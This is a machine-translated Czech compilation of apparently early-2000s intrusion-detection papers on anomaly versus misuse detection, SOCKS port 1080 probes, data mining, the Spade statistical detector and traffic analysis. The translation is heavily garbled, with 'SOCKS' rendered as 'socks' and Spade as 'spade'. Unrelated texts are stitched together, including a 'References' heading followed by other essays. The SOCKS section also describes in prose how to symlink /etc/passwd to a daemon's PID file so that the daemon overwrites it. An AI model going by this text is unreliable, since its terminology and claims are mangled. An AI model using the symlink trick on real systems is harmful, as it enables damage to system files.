Intrusion Detection zahrnuje ty techniky, které se snaží diskriminovat pokusů o průnik z normálního používání systému a upozornit SSO. Obvykle se údaje systémový audit je zpracován pro podpisy známých útoků, anomální chování a / nebo konkrétními výsledky zájmu. EZS, a to zejména profilování, je obvykle založen na schopnosti získat přístup a analyzovat data auditu dostatečné kvalitě i kvantitě. Je-li detekce provádí téměř v reálném čase, a SSO je k dispozici, by mohl působit pro přerušení vniknutí. Vzhledem k této nezbytnosti člověka k dispozici zasáhnout, detekce narušení není tak silný přístup jako Intrusion protiopatření, jak to je více pravděpodobné, že úsilí vniknutí bude dokončena dříve, než manuální úsilí může přerušit útok. Intrusion Detection může být provedeno po faktu (jako v posmrtné analýze auditu), v téměř reálném čase (podpora SSO zásah nebo interakci s vetřelcem, jako je například trasování v síti-zpět do výchozího bodu), nebo v reálném čase (na podporu automatizovaného protiopatření).

7,1 Anomaly Detection
Anomaly Detection porovnává pozorovanou aktivitu proti očekávaným běžných profilů používání, které mohou být vyvinuty pro uživatele, skupiny uživatelů, aplikací nebo zátěži systémových zdrojů. Záznamy událostí auditu, které nespadají do definice normálního chování jsou považovány za anomálie.

7.2 Zneužití detekce
Detekce Zneužití v podstatě kontroluje "činnost, která je špatné" se oproti abstrahovaných popisů nežádoucí činnosti. Tento přístup se snaží vypracovat pravidla popisující známý nežádoucí využití (na základě minulých prostupů nebo činnost, která je se domníval, by zneužít známé slabiny) spíše než popisovat historický "normální" je s nimi nakládáno. Pravidla mohou být zapisována do uznat jediné kontrolovatelné událost, která sama o sobě představuje hrozbu pro bezpečnost systému nebo sledu událostí, které reprezentují prodlouženou scénář průniku. Účinnost stanovených pravidel detekce zneužití je závislá na tom, jak dobře se vývojáři (nebo následně SSOâs) jsou o zranitelnosti. Detekce zneužití mohou být realizovány prostřednictvím rozvoje odborných pravidel systému, model usuzování nebo systémy státní přechod analýzy nebo neuronové sítě.

7.3 Hybridní Zneužití / detekce anomálií
Hybridní detektory přijmout nějaké doplňující kombinace zneužití a detekce anomálií přístupy běží paralelně nebo sériově. Činnost, která je označena jako anomální nemusí být si všiml monitorováním detektoru zneužití proti popisy známých nežádoucí aktivitu. Například, jednoduché listování pro soubory, které obsahují řetězec "jaderný" nesmí ohrozit bezpečnost nebo integritu systému, ale to by bylo užitečné informace pro SSO přezkoumat, jestli to bylo neobvyklé aktivity pro určitý účet. Podobně účet správce může často demonstrovat přístup k citlivým souborům a mít profil povolit, ale bylo by užitečné, aby tento přístup vedl ještě být kontrolovány proti známým zneužití podpisů. Došlo k poměrně velká shoda v anti-vniknutí komunity, že efektivní a zralé detekce narušení nástroje musejí spojit oba zneužívání a detekce anomálií. Tam je rostoucí operační pole důkazy o tom, že detekce anomálií je užitečná, ale vyžaduje dobré informace podzemních zásobníků plynu v každém místě ke konfiguraci a naladit detektor proti vysokou mírou falešných poplachů. Systémy detekce anomálií nejsou klíč a vyžadují propracovanou podporu nejméně do profily stabilizované.

7.4 Kontinuální systém zdravotní monitorovací
Útoky mohou být detekovány pomocí soustavné aktivní sledování klíč "zdravotní systém" faktory, jako je výkon a použít účet v klíčových systémových zdrojů. Tato technika je pružnější a sofistikovanější, než statická konfigurace dáma, jako takový nástroj bude běžet nepřetržitě jako proces na pozadí. Zaměřuje se na identifikaci podezřelých změn v opatřeních činnosti celého systému a využití systémových zdrojů. Příkladem je sledovat provoz v síti protokol v průběhu času, hledá pro porty dochází k neočekávané zvýšení provozu. Práce je třeba udělat, aby rozvíjet a opatření naladit celého systému, a pochopit význam zjištěných odchylek.

8,0 Intrusion protiopatření
zabezpečovací protiopatření posílit systém se schopností přijmout autonomní opatření, která reagují na vnímané pokus o narušení. Tento přístup se snaží řešit omezení detekce narušení mechanismů, které se musí opírat o neustálé pozornosti jako SSO. Většina výpočetní prostředí nemají prostředky na věnovat SSO ke sledování detekce narušení na plný úvazek, a už vůbec ne po dobu 24 hodin denně, sedm dní v týdnu. Dále, člověk SSO nebude schopna reagovat při rychlostech zpracování stroj v případě, že útok je automatizovaný - současná IP spoofing útoku přidělený Kevin Mitnick byl do značné míry automatizován a dokončena za méně než osm minut [SHI95]. Pověřena řádného oprávnění, systém bude mít mnohem větší pravděpodobnost přerušení vniknutí probíhá, ale riskuje falešně reakci proti platným použití. Co musí být zabráněno je případ, kdy je uživatel dělá něco neobvyklého nebo podezřelého, ale pro poctivé důvodů, a je neoprávněně zatížen vynechávání zapalování protiopatření. Panuje obava, že generál Brassknuckles bude rozzuřený tím, že hrubě uzamčení systému, protože běží nad povolený počet stran pro tisk, pouze odráží odvratitelné, příliš agresivní konfiguraci protiopatření.

Dva primární vniknutí protiopatření techniky jsou autonomně jednající IDS a znepokojeni systémové prostředky. Ačkoli bývalý může být považován jednoduše dávat detekce narušení techniky zuby, druhý bude reagovat na podezřelé akce v systému, aniž by zpracování osobních údajů audit provést "odhalení".

ICE nabízí celou řadu výhod oproti ručně hodnocených IDSâs. Systém může být chráněna, aniž by vyžadující SSO být neustále přítomen a schopen a ochoten učinit okamžité, na místě složité rozhodnutí. ICE nabízí non-nepozorný, objektivní, kolem non-stop odpověď na to i automatizované útoky. Vzhledem k tomu, ICE trpí stejnými otázkami diskriminace a řídících profil jako detekce narušení mechanismů, ale s potenciálně bez lidského zásahu, je třeba dbát na to, služba není narušena v kritické době podle inženýrství popření servisních útoků.

9.0 Závěr
Tento dokument zavedla komplexní anti-vniknutí taxonomii pracuje shora dolů na teoretické úrovni a zdola nahoru tím, geodetické realizované přístupy a ty diskutovány v odkazované literatuře. Cvičení taxonomii proti reálných životních analogií posílila a zvýšila intuitivní pochopení pojmů. Nové proti vniknutí techniky bude i nadále rozvíjet v tomto rychle se rozvíjejícím oboru výzkumu, který se může rozšiřovat naše taxonomii. Tato taxonomie bude sloužit jako užitečný nástroj pro katalog a posoudit proti vniknutí technikami používanými v konkrétní implementaci anti-narušení systému. Předpokládá se, že naše metoda organizace poskytne nový pohled na výzkumné komunity proti vniknutí. Autoři jsou aktivní pracovníci v oboru a rádi odpovídají ohledně dodatky nebo úpravami.

10.0 Reference

Co lidé na mysli tím, ponožky?

Byli jsme svědky sondy k portu 1080, požádal jsem analytik trvat minutu a dokumentovat, co dohoda je s 1080. Zde je Christopher Misraâs sepsat a on je stále dělá trochu výzkum:

Port 1080 je používán SOCKS proxy server síťových protokol. Je navržen tak, aby hostitele mimo firewall pro připojení transparentně a bezpečně přes firewall. V důsledku toho se některé stránky mohou mít portu 1080 otevřen pro příchozí připojení k systému se systémem démona ponožky. Jeden z více obyčejných použití ponožek se zdá být umožnění ICQ provoz do počítačů, které jsou za firewallem.

Jeden obyčejný balíček, který poskytuje tuto funkci je Wingate (wingate.deerfield.com). Notoricky nejistý balíček, který poskytuje přesměrování telnet mimo jiné špatné věci ... Skenování na portu 1080 se zdá být případně hledat telnet přesměrovač (dle Wingate). S balíčkem Wingate, zřejmě jen některé dražší verze balíku umožňují autentizaci uživatelů.

To by také mohlo mít zájem o další služby za serverem proxy, přes ponožky. Zpráva jeden bezpečnostní systémy, pokud jde o běh NEC SOCKS5 beta-0.17.2. Při spuštění SOCKS5 na portu 1080 démon píše, že je PID /tmp/socks5.pid. Pokud tento soubor neexistuje, by se dalo nalinkujte např / etc / passwd k ní a nechat ji přepsat při spuštění socks5 nahoru.
(Převzato z www.safenetwork.com/Linux/socks.html~~pobj )

To jsou věci, které jsem dosud nalezeny. Lze předpokládat, pokud by měl někdo jejich firewall špatně nakonfigurovány povolit všechny příchozí provoz na portu 1080 přes ně, kdyby existoval stroj v chodu Wingate uvnitř brány firewall systému by mohly být použity k přesměrování telnet uvnitř firewallu.

Data Mining v Intrusion Detection

Manh Phung
24.října 2000

Kde jsme dnes v detekce narušení?
V todayâs světě, kde téměř každá firma je závislá na internetu, aby přežili, není překvapivé, že úloha detekce narušení sítě rozrostla tak rychle. I když mohou být ještě některé argumentem, co je nejlepší způsob, jak chránit firmy sítích (tj firewally, náplasti, EZS, školení, â|), je jisté, že Intrusion Detection System (IDS) bude pravděpodobně udržovat důležitou roli při zajišťování bezpečného síťové architektury.

Jak již bylo řečeno, co současná technologie detekce narušení nám poskytují? Pro analytika, který sedí v přední části IDS, ideální systém by identifikovat všechny vniknutí (nebo pokusy o vniknutí), a přijmout nebo doporučí nezbytná opatření s cílem zastavit útok.

Bohužel, tržiště pro IDS je ještě docela mladý a "stříbrná kulka" řešení pro detekci veškeré útoky se nezdá být na obzoru, nebo dokonce nutně věrohodný. Takže to, co je "dalším krokem", třebaže "další fázi" pro detekci narušení? Silný případ mohl být učiněna opatření pro použití dolování dat technik s cílem zlepšit současný stav detekce narušení.

Co je dolování dat?
Podle RL Grossman v "Data Mining: výzvy a příležitosti pro dolování dat v příštím desetiletí", on definuje dolování dat jako "zabývá k odhalování vzory, sdružení, změnami, anomáliemi a statisticky významných staveb a událostí v datech." Jednoduše řečeno je to schopnost přijmout dat a vytáhnout z ní vzorů nebo odchylek, které nemohou být snadno viditelná pouhým okem. Další termín někdy použitý je získávání znalostí.

Zatímco oni nebudou podrobně popsány v této zprávě, existuje mnoho různých typů data mining algoritmů zahrnují analýzu propojení, shlukování, Sdružení, pravidlo únos, analýzu odchylek a sekvenční analýzu.

Jak se proud IDS detekovat vniknutí?
K tomu, aby nám zjistit, jak data mining může pomoci předem EZS, že je důležité pochopit, jak proud IDS usilovat o určení vniknutí. Existují dva odlišné přístupy k detekci narušení: zneužití detekce a detekce anomálií. Detekce zneužití je schopnost identifikovat průniky založené na známém vzoru pro nebezpečné činnosti. Tyto známé modely jsou označovány jako podpisy. Druhý přístup, detekce anomálií, je pokus identifikovat nebezpečný provoz na základě odchylek od zavedených normálních síťového provozu vzory. Nejvíce, jestliže ne všichni, IDS, které lze zakoupit dnes jsou založeny na detekci zneužití. Současné IDS produkty se dodávají s velkým souborem podpisů, které byly identifikovány jako jedinečné na konkrétní zranitelnost nebo využití. Většina dodavatelů IDS také poskytovat pravidelné aktualizace signatur ve snaze udržet krok s rychlým vznikem nových zranitelností a využije.

Nedostatky se současnými IDS.
Zatímco schopnost rozvíjet a používat signatury pro detekci útoků je užitečný a schůdný přístup existují nedostatky pouze pomocí tohoto přístupu, který je třeba řešit.

Jak lze data mining pomoci?
Data mining může přispět ke zlepšení detekce narušení přidáním úroveň zaměřením na detekci anomálií. Tím, že pozná hranice pro platné síťové aktivity budou data mining pomoci analytik v jeho / její schopnosti rozlišovat útočnou aktivitu od běžného každodenního provozu na síti.

Obtíže, pokud jde o dolování dat v detekce narušení.
Pojem data mining byl kolem po celá léta. Navzdory tomuto dolování dat v detekci narušení je relativně nový koncept. Tak tam bude pravděpodobně překážky ve vývoji účinné řešení. Jedním z nich je fakt, že i když pojem dolování dat již nějakou dobu množství dat, které mají být analyzovány a jeho komplexnost, velmi rychle roste. Jak je uvedeno výše, je možné, aby společnost pro sběr miliony záznamů za den, které musí být analyzovány na škodlivé aktivity. S tímto množstvím dat pro analýzu je možné odhadnout, že data mining se stane poměrně výpočetně náročné. Bohužel, pro některé výpočetního výkonu nebo paměti není vždy levné a dostupné. Samozřejmě mohou existovat argument, že stačí vzorky dat s cílem generovat profily, ale bude také argument, že analyzuje cokoliv, zejména provoz v síti, aniž by všechna data by mohla vést k nesprávným závěrům. Další překážkou bude krejčovství dolování dat algoritmy a procesy tak, aby se vešly detekce narušení. Snaha zjistit, jak je třeba údaje je třeba přistupovat tak, aby nám poskytnout lepší obraz je jistě nedílnou v poskytování přesné a efektivní výsledky.

Závěr.
Je zřejmé, dolování dat a detekce anomálií není stříbrná kulka pro detekci narušení, ani by nemělo být náhradou pro detekci zneužití. Cílem by mělo být, aby efektivně integrovat detekce anomálií a jejich odhalování zneužití k vytvoření IDS, která umožní analytik přesněji a rychleji identifikovat útoku nebo vniknutí na jejich síti.

Bibliografie
Bass, Time. "IDS dolování dat." 4 března 1999. URL: http://www.silkroad.com/papers/html/ids/node4.html (10.10.00).

Gordeev, Mikhail. "Intrusion Detection: Techniky a přístupy." URL: http://www.infosys.tuwien.ac.at/Teaching/Courses/AK2/vor99/t13 (10.10.00).

Grossman, RL "Data Mining: výzvy a příležitosti pro dolování dat v příštím desetiletí." Květen 1997. URL: http://www.lac.uic.edu/grossman-v3.htm (10.10.00).

Lee, Wenke a Stolfo, Salvatore. "Data Mining Přístupy k detekci narušení." URL: http://www.cs.columbia.edu/~wenke/papers/usenix/usenix.html (12.10.00).

Rothleder, Neal. "Data Mining pro detekci narušení." Newsletter hran. Srpna 2000. URL: http://www.mitre.org/pubs/edge/august_00/rothleder.htm (09.10.00)

Statistický přístup založený na Intrusion Detection

Jamil Farshchi

Úvod
Network Systems detekce průniků (IDS) monitorovat síťový provoz počítače a pokusit se o identifikaci, záznam a všechny přítomné anomální aktivity pro uživatele. Základním předpokladem je, že pokud je přenos není povolena na síti, IDS bude mít schopnost rozpoznání a nahlášení nelegitimní provoz. Klíčem k jakékoliv Intrusion Detection System je maximalizovat přesné záznamy (true-pozitivní), zatímco současně minimalizuje výskyt non-oprávněné výstrahy (falešně pozitivní). To je teoreticky mnohem jednodušší, než v praxi, o čemž svědčí o různých metod detekce narušení. Tyto metody zahrnují, ale nejsou omezeny na umělé imunitní systém [7], Control-Loop měření [8], data mining [9], Statistická [24], a podpis-Based (Rule-Based [25]). Nejpopulárnější z těchto metod je Signature-based Intrusion Detection. I když existuje mnoho přístupů k detekci narušení, tento dokument se konkrétně zaměřuje na statistické systémy založené na Intrusion Detection, Spade a nasazení Spade v souběhu s aktuální IDS.

Podpis systémy založené
Některé z více populárních IDSâs na základě signatur jsou NFR [11], RealSecure [12], drak [13], Snort [14], a Cisco Secure IDS [15]. Bylo prokázáno, že Signature-based Intrusion Detection má mnoho výhod, jako je potenciál pro nízké ceny alarm, přesnosti detekce a podrobné protokoly textových [4]. S podrobným podpisy, je relativně jednoduché pro specifické identifikaci paketů zájmu. Například by mělo být triviální napsat pravidlo, aby upozornil na všechny TCP pakety s nastaveným příznakem SYN. Ne všechny IDSâs umožnila nezávislé rozvoj pravidlo, ale někteří, jako Snort a drak, přijme uživatelem vytvořených pravidel. Téměř všichni výrobci IDS stanovit pravidla pro jejich produkty s variabilním počtem podpisů, obvykle v rozmezí 500-1500 + pravidel. Pravidla jsou vyvinuty v průběhu času jako bezpečnostní komunita identifikuje nová slabá místa a skenovacích technik. Rozsáhlost a rychlost, s jakou jsou tato pravidla, které vyvinul je dobrým měřítkem, jak efektivní IDS bude nakonec. Zatímco přístup Signature-Based k detekci narušení je přijatelná, ponechává hodně být požadovaný. S výrobci přicházejí s novými podpisy na týdenní nebo denní bázi, je těžké pro již tak přetížené bezpečnostního odborníka, aby udržel krok s nejnovějšími sad pravidel. Mnohem závažnější nedostatkem IDS přístupu na základě signatur je neschopnost detekovat nových a dříve neznámých útoků. Podpis-Based IDS je pouze tak silný jako jeho sady pravidel, a v případě, že napadení je nový, že se jednoduše nebudou žádné podpisy vyvinuté pro identifikaci sondy. Signature-based Intrusion Detection má také omezenou schopnost detekovat skenování portů. Ve skutečnosti většina IDSâs použít primitivní přístup, přičemž v případě zjištění X události zájmu v rámci časového okna Y o velikosti [16], systém bude generovat upozornění. Omezením počtu paketů zaměřených na síti během určitého časového rámce, útočník může snadno uniknout detekci IDS. Tyto nedostatky jsou vlastní podpis-Based modelu, který je důvod, proč jsou potřeba různé metody detekce řešit nedostatky přístupu na základě signatur.

Úvod do statistické metody
statistické systémy založené na Intrusion Detection (SBIDS) může zmírnit mnoho z výše uvedených nástrahy IDS na základě signatur. Statistické-Based systémy spoléhají na statistických modelů jako je Bayesâ věty [26], s cílem určit anomální paketů v síti. K identifikaci anomálii, systém využívá údaje sestavené z předchozího chování sítě. Vzhledem k tomu, Varování jsou založeny na skutečných způsoby využívání, mohou statistické systémy přizpůsobit chování a proto vytvořit své vlastní pravidlo o používání-vzory. Že užívání-vzory jsou to, co diktovat, jak anomální paket může být do sítě. Anomální aktivita se měří množství proměnných vzorku v čase a uložených v profilu. Na anomálie skóre paketu základě bude proces podávání zpráv považovat za upozornění, pokud je dostatečně neobvyklé; V opačném případě IDS bude jednoduše ignorovat stopu. Proces podávání zpráv upozorní uživatele v případě, že packetâs anomálie skóre je větší než nebo rovna prahové úrovni nastavené uživatelem. Takže SBIDS identifikuje a sleduje vzory a využití dat v síti a potom přiřadí anomálii skóre na každého paketu. Jakmile je to provedeno, bude zařízení zpráv generovat upozornění v případě, že anomálie skóre je vyšší než varovné prahové hodnoty. Jako příklad lze uvést, letâs říci, že každé ráno se probudíte a přečetl ranní noviny, který čeká za dveřmi. Po několika dnech nebo týdnech tohoto chování se stává normální; Očekáváte papír, aby se dospělo ke dveřím v dopoledních hodinách. Jednou ráno, papír není čekání na prahu. Namísto toho je papír ležel na příjezdové cestě. To není normální; je zjevně anomální činnost, ale pravděpodobně ne dost ospravedlnit vyšetřování. Nyní, letâs, že jste i nadále vidět přibližně stejný vzorek několika papírů přistání na příjezdové cestě každý týden. Pak se jednoho dne probudíte k žádnému papíru vůbec, nebo ještě hůře, papír je hozen oknem. Ani jedna z těchto událostí je normální, a oba by zaručuje určitý stupeň vyšetřování. Je-li počet anomálie spojené s těmito událostmi, můžeme začít vidět, jak SBIDS funguje. Činnost přijímání papíru u dveří v dopoledních hodinách budou považovány za ânormalâ aktivitu. Systém pozná vzor a dozvědět se, že to je normální chování. Ostatní činnosti by být posuzovány na základě počtu výskytů a jak âuniqueâ byly ve vztahu k normální činnosti. Význam je prahová úroveň je znázorněno v tomto příkladu i. Pokud je prahová hodnota nastavena na nízkou číslo, SBID by generoval upozornění na jakékoliv nesrovnalosti ve vztahu k normě, takže by došlo k upozornění produkoval když papír přistál na příjezdové cestě. Je-li nastavena příliš vysoko, výstraha by být vytvořen pouze tehdy, když papír prorazil okno (a možná ani potom ne). Optimálně, bude vypracována zpráva generován na všech významných anomální aktivity. Co představuje âsignificantâ může a bude se lišit od uživatele k uživateli. Proto je v konečném důsledku na uživateli, aby rozhodl, kolik výstrahy jsou generovány pro specifické prostředí. Konkrétní prostředí je základním požadavkem pro řádné fungování SBIDS. SBIDS bude âlearnâ to, co je ânormalâ pro síť. Každá Statistická-Based IDS v každém jednotlivém prostředí, upozorní na nesrovnalosti na základě svých specifických znalostí sítě na ruce. Výhodou tohoto přístupu je, že systém nemusí být předem definované podpisů pro identifikaci anomálii v síti; Místo toho, IDS je zatím vlajky cokoli považuje za neobvyklé. Například H4x0r má zcela nový zneužít chce používat v síti. Ona zahajuje útok s vědomím, že neexistuje žádný podpis za to využít, protože zranitelnost byl nedávno nalezen. Pokud jeden ze systémů je využitelný útokem, bude ohrožena a žádná výstraha bude vygenerována, protože na základě signatur IDS nebude rozpoznat tento nový útok (Podpis). Jestliže, na druhé straně, je statistický-Based IDS kromě současných IDS signatur, výsledky útoku by se velmi liší. SBIDS uvidí pakety a může uvědomit, že vlastnosti byly v rozporu s dopravou, které obvykle klene přes síť. V návaznosti na toto zjištění, statistický systém založený by vypočítat vysoce pro paketech v útočníků paketového toku (jako v novinách prorážet oknem), což by vedlo k upozornění na generaci. I když oznámení o útoku na systémech je vysoce žádoucí vlastnost pro IDS, tak příliš je detekce nepřítele se snaží výčet síti prostřednictvím portscanning.

SBIDS může poskytnout přesnější oznámení o portscanning aktivity. Scannování detekce je vedlejším produktem z metod, které SBIDS shromažďují údaje, vzhledem k tomu, že kontrola bude anomální. Alespoň některé z scannování je pravděpodobné, že bude velmi anomální dopravní vzhledem k obvyklé rozdělení provozu. Pokud tento paket má neobvyklé vlastnosti (tj je vytvořený paket), bude to ještě platí [1]. S ohledem na tuto skutečnost, bude i portscans, které jsou distribuovány v průběhu dlouhého časového rámce se zaznamenávají protože budou neodmyslitelně anomální. SBIDS nám dávají schopnost detekovat portscanning pakety s mnohem větší přesností než paketů AX v Y-time velikosti frameâ metodou, která RBIDS musí spolehnout. Problém se statistickým-Based systému není detekci scannování paketů; budou identifikovány jako každý jiný anomální aktivity v síti bude. Problémy spočívají v šíření a korelaci dat, jakmile se shromažďují. Korelace je nad rámec tohoto dokumentu, ale Silicon Obrana se v současné době vyvíjí srovnávací engine s názvem Spice. Podívejte se na webové stránky Silicon obrany pro více informací.

I když existuje mnoho výhod pro statistické přístup založený na, tam jsou také některé nedostatky této technologie. Chcete-li začít, statistický systém musí âlearnâ, co je ânormalâ provozu v určité síti (SBIDS potřebovat dobrý výchozí stav síťového provozu). Na rozdíl od systému na základě signatur, která má výhodu, že se uskuteční okamžitě využita, je Statistická-Based systémy musí nejprve přizpůsobit k síti na dosah ruky. Čím déle SBIDS je umístěn na konkrétní síti, budou přesnější výsledky být (za předpokladu, že síťový provoz doesnât významně nemění formě). Druhý problém s statistický přístup založený souvisí s adaptivní povaze těchto systémů. SBIDS detekci anomálií na základě rozdílů v ânormalâ síťového provozu. V případě, že ânormalâ síťový provoz je škodlivý, budou SBIDS být k ničemu. Například, v případě, že SBIDS vidí početnou řadu SYN skenů v síti po určitou dobu, systém se nakonec předpokládat, že to je normální chování a přestává být upozornit na aktivitu. V tomto příkladu, zatímco drastické, je možný scénář. A konečně, upozornění, že SBIDS bude generovat bude poměrně obtížné posoudit, v porovnání se systémem na základě signatur. Záznamy bude prostě paket informace bez okamžitě zjevného důvod záznamu. Tato analýza bude potřebovat služby školeného bezpečnostního profesionála s schopnost identifikovat abnormality v provozu na úrovni paketů. Přestože statistické systémy založené na nějaké nedostatky, pozitivní dopady této technologie dalece převyšují rostoucí bolesti, které budou mít zkušenosti při provádění.

Výhody statistického přístupu založeného jsou trojí. Nejen, že nyní máme oznámení o dosud neznámých útoků, máme také systém, který doesnât potřebovat neustálé aktualizace signatur, a máme metodu detekce skenování portů, které pokrývají rozsáhlé časové rámce stejně.

Motor statistický Packet Anomaly Detection: Spade
Spade je detektor anomálií veřejně šířen pod licencí GNU GPL [20]. Lze jej stáhnout z http://ww.silicondefense.com/software/spice/. Spade je Snort [14] preprocessor plug-in. Spade používá společné měření pravděpodobnosti rozhodnout, které pakety jsou neobvyklé. Spade používá Snortâs vstupních / výstupních zařízení k uchopení pakety a dát je do tabulek, které se používají ke zjištění anomálií skóre [1]. Anomálie skóre je přiřazen na základě vyhodnocení zdrojovou IP, zdrojový port, cílová IP a cílový port, mezi ostatními. Na uživatelském nastavenou prahovou úroveň, Spade bude buď vlajky paket založený nebo umožnit mu, aby prošel přes síť bez předchozího upozornění. Nastavení práh je rozhodující Spade, protože pokud je nastavena příliš vysoko, uživatel bude chybět kritické pakety; pokud je příliš nízká, analytik vidět mnoho falešně pozitivní. Rýč má také možnost, že bude provádět automatické nastavení prahové nechat rýč rozhodnout, co je kritický práh číslo by mělo být. Spade může také generovat další zprávy o významu, jako je například průzkum o rozložení anomálií skóre a různé zprávy o statistických funkcí, jako entropie a podmíněné pravděpodobnosti. Pro další specifika o tom, jak Spade počítá anomálií skóre, práh čísla a pravděpodobnosti, naleznete v dokumentaci současné době na webových stránkách Silicon obrany [17].

Nejkritičtější výstup pro bezpečnostní analytik bude Spade upozorní, které vypadají velmi podobně jako výstrahy Snort. Níže uvedený seznam se skládá ze čtyř Spade generované výstrahy.

Prostudujte si dokumentaci k Snort [23] specifika o tom, jak číst tyto výstrahy.

Můžete vysvětlit analýzu provozu a detekce anomálií?

Kevin Liston

Úvod
Ideální Network Intrusion Detection System bude účinně a efektivně klasifikovat síťový provoz mezi benigní a agresivní. Velká část výzkumu a práce v Network Intrusion Detection zahrnuje vývoj signatur útoků. Chráněná síťový provoz je přivádí do odpovídající motorem a výstrahy jsou generovány při síťový provoz odpovídá dané signaturu útoku. Vniknutí analytik používá tyto výstrahy určit, jak alokovat zdroje analýzy. âTraffic analýza je odvětví analýzy signálů inteligence, která se zabývá studiem vnějších charakteristik signálu komunikací. Informace byla použita: (1) k provedení odposlechu, (2) na podpory dešifrování, (3) hodnotit úroveň a hodnotu inteligence v nepřítomnosti obsahu zvláštních zpráv, a (4) s cílem zlepšit bezpečnost v komunikaci nets.â (Nichols, P71). Účinek Detection System Network Intrusion může být účinnější, pokud to zahrnuje nejen podpis ve stejném designu, ale také analýzu provozu. Použitím analýzu provozu, anomální provoz je identifikován jako potenciální vniknutí, žádné podpisy jsou zapojeny do procesu, takže je větší pravděpodobnost, že detekovat nové útoky, pro které ještě nebyly vyvinuty podpisy. Zabývá Traffic Analysis ne s užitečným zatížením zprávy, ale jeho další vlastnosti, jako je zdroj, cíl, směrování, délce zprávy, tentokrát to byl poslán, četnost komunikace apod provoz užitečné zatížení není vždy k dispozici pro analýzu, provoz může být kódován, VPN odkazy mohou být proudí přes monitorovací oblasti, nebo to může být jednoduše v rozporu se zásadami pro analýzu užitečného obsahu paketu. Pro účely Network Intrusion Detection shromažďujeme tyto vlastnosti buď ze skutečného provozu na síti samotné (pomocí metody, jako je tcpdump,) nebo log-souborů ze sítě senzorů, jako jsou firewally nebo routery (Lee a Stolfo.) Tyto údaje jsou zpracovávány pro vizualizaci nebo dolování dat technik ke generování výstrah a poskytnout užitečné informace analytika pomáhat jim při rozhodování o tom, jak alokovat zdroje analýzy.

Cílem Network Intrusion Detection
Záměrem systému Network Intrusion Detection je vést analytik směrem síťových akcích, které jsou škodlivé. Dva hlavní přístupy jsou pro detekci zneužití a detekce anomálií. Vzor-odpovídající řešení primárně používat detekci zneužití. Zaměstnávají knihovnu podpisy zneužití, které se používají, aby odpovídaly proti provozu v síti. Nedostatky těchto systémů jsou: varianty, falešně pozitivní, falešně negativní, a přetížení dat. Vzhledem k tomu, že se spoléhají na podpisy, nová varianta útoku může být vytvořen se vyhnout detekci. Navíc, podpisy samy o sobě mohou vytvářet falešně pozitivní v případě, že nejsou zapsány správně, nebo v případě, že povaha útoku je obtížné oddělit od běžných provozních charakteristik. Systém podpis na bázi nelze detekovat útoky, pro které je nemá signatureâthey Donat dobře reagovat na neznáma. Přetížení dat může dojít, pokud senzor, nebo analytik je předkládán s příliš mnoho informací pro analýzu účinně (Phung.) Traffic Analysis provedené na síťové komunikace může zmírnit omezení systémů podpis na bázi protože jsou anomálie detektory. Je důležité si uvědomit, že nemohou nahradit podpis základen systémů; V ideálním případě by měl analytik oba nástroje, které má k dispozici. Systém založený na analýze provozu mohou detekovat útok variant, protože není hledá vzor útoku, ale spouštění na neobvyklé povaze spojení (buď z podivného IP nebo cizím přístavu nebo z lichého délku paketu nebo vlajky nastavení.) Falešně pozitivní jsou také slabost detekce anomálií, ale jestliže jsou záznamy z obou metod může být korelována první, bude relevance výstrahy zlepšovat. Síla detekce anomálií je jeho nízká míra falešně negativních výsledků. Nové útoky, pro něž podpisy nebyly vyvinuty za účelem podpisu systému založeného na spuštění na, bude anomální od přírody. Anomálie-based detekční systém nemusí zachytit nejnovější UNICODE IIS zneužít, ale změna chování z ohrožení systému získáte jeho pozornost. Snížení přetížení dat se provádí pomocí dolování dat a zobrazovacích metod. Oddělovat data a prezentovat ji vizuálně analytika dokáže detekovat anomálie a vzory, které jsou heuristika analýzy dopravní systém nemohl.

Multi-rozměrný model
Daný paket lze rozdělit do několika oblastí, jako je protokol, zdrojová IP, cílové IP, porty používané a nastavení vlajky (v případě TCP nebo UDP) nebo typu zprávy (v případě ICMP,) a délku. Pole je buď numerické, nebo mohou být převedeny na číselný rozsah přes mapovací funkce (např čísla mapování IP adres na celé identifikační čísla). V případě, že informace zachycen paket má n polí, pak paket může být vyjádřen jako vektor n elementy (tj n-tice) v vektorový prostor n-rozměrné. To dává jedinečnou prostorovou nízké zastoupení každé události a vytváří kontext pro síťové aktivitě (Girardin, s. 4.) V tomto n-rozměr vektorový prostor událostí může být vztažena srovnání, a vizualizovat. Aby bylo možné uspokojit potřebu jasně komunikovat analytika, je možné zaměstnávat vizualizaci a dolování dat k výrobě užitečných grafy a upozornění.

Lomu
Intrusion Detection System Síť poskytuje analytik nejen informace o tom, co se stalo, ale potenciálně to, co se má stát. Pokud analytik je schopno detekovat attackerâs průzkum chráněné sítě a výstraha přichází v době, útok může potenciálně být zmařeny. Útočník bude sondovat vaši obranu, a to zanechá stopy, které mohou být zjištěny. V tomto bodě analytik je podobně jako stopař, pokoušet se odvodit smysl a účel znamení doleva (Carss, P 22) Snímá byly stopy, které mohou být definovány jako souboru kombinací portů a IP skenování je cílení (Stainford, Hoagland a McAlerney str 2-4). charakterizují horizontální skenování jako ten, který vyhledává skupinu čísel IP pro jeden port, a svislou skenování jako jediné IP jsou testovány na více portů. Další stopa geometrie může být popsána, jako je box scanningâa kombinace vertikální a horizontální. Při vykreslování cílový port oproti IP adres cílových tyto vzory se stal prominentní. Velikost stopy lze vypočítat ze součtu kombinací IP / portu použité v testu. Tato velikost může sloužit jako metriku o tom, jak těžké to bude detekovat skenování. Jasně NMAP skenování na serveru bude snazší rozpoznat, než skenování na portu 53 na 4 stroje v síti.

Reakce na podněty scanâs také tvoří detekovatelné stopy. SYN-ACK, odpovědi od otevřené porty TCP, ICMP portů nedostupných zprávy z UDP inverzní skenů, kapky nebo odmítne zaznamenané firewallem, může být použita k detekci skenování a vyhodnocovat, kolik informací se útočník získal z kontroly. Jedná se o všechny odpovědi na skenu, stejně jako narušený oblázky nebo zlomené listoví říci plynutí svého lomu.

